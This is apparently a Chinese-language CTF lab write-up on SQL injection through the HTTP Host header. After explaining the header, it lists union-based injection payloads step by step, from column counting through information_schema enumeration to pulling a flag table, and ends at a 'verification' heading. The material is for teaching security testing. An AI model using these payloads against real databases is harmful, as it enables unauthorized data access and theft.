SQL注入HTTP头部注入是一种攻击技术,攻击者通过在HTTP请求头部(如User-Agent、Referer、Cookie等)中注入恶意的SQL代码,试图操纵目标服务器的数据库查询。由于服务器端可能在处理这些头部信息时直接将其插入到SQL查询中,如果没有适当的输入验证和参数化查询,这些恶意代码就可能被执行,从而导致数据泄露、数据篡改或其他安全问题。这种攻击方式利用了HTTP头部字段通常不被严格验证的弱点。

SQL注入漏洞测试(HTTP头注入)

题目类型

SQL注入

使用工具

FireFox、burpsuite

解题方向

HTTP头部(HOST注入)

Host(主机头)HTTP协议的一个字段

  在http1.0中没有Host字段,在http1.1中,增加这个字段,http协议是建立tcp连接,需要知道对方的IP和端口号,然后发送数据建立连接。所有Host头域指定请求资源的Internet主机和端口。host头主要是用来将请求分派到指定的web网站,它的IP来自于网络层和传输层,对于http协议来说,它是基于tcp/ip的一个封装

  在http1.1中不能缺少Host字段,缺少host字段服务器会返回400 bad request ,http1.0虽然不能缺少Host字段,但是该字段可以为空。

  既然host头来自于客户,由客户端提供,而且可以修改,那么它是不可信的。当Host头部被修改为无效Host头会发生什么情况?大多数web服务器配置为将无法识别的Host头传送给列表中的第一台虚拟主机或者返回错误信息。因此,这使得把携带有任意Host头的请求发送到第一台虚拟主机上是可能的。

  例如下面,很多host都不做HTML编码,便直接输出到页面,当host 被改为恶意连接时,出发恶意请求,容易造成缓存污染和密码重置这两种攻击

1
2
3
  <link href=http://_SERVER["HTTP_HOST"]></link>    //触发一个get请求

  <form method=”POST”></form> //触发POST请求

题解

I.启动靶场

1
order by 5#

报错,所以4字段

II. 查看字段位置

1
union select 1,2,3,4#

III. 获取数据库名

1
union select 1,database(),3,4#

database = pentesterlab

IV. 获取数据库中的表名

1
union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()

comment/flag/goods/user/

V. 获取的表名中的列名

1
union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='flag'

id/flag

VI. 获取id与flag值

1
union select 1,id,flag,4 from flag

VII. 验证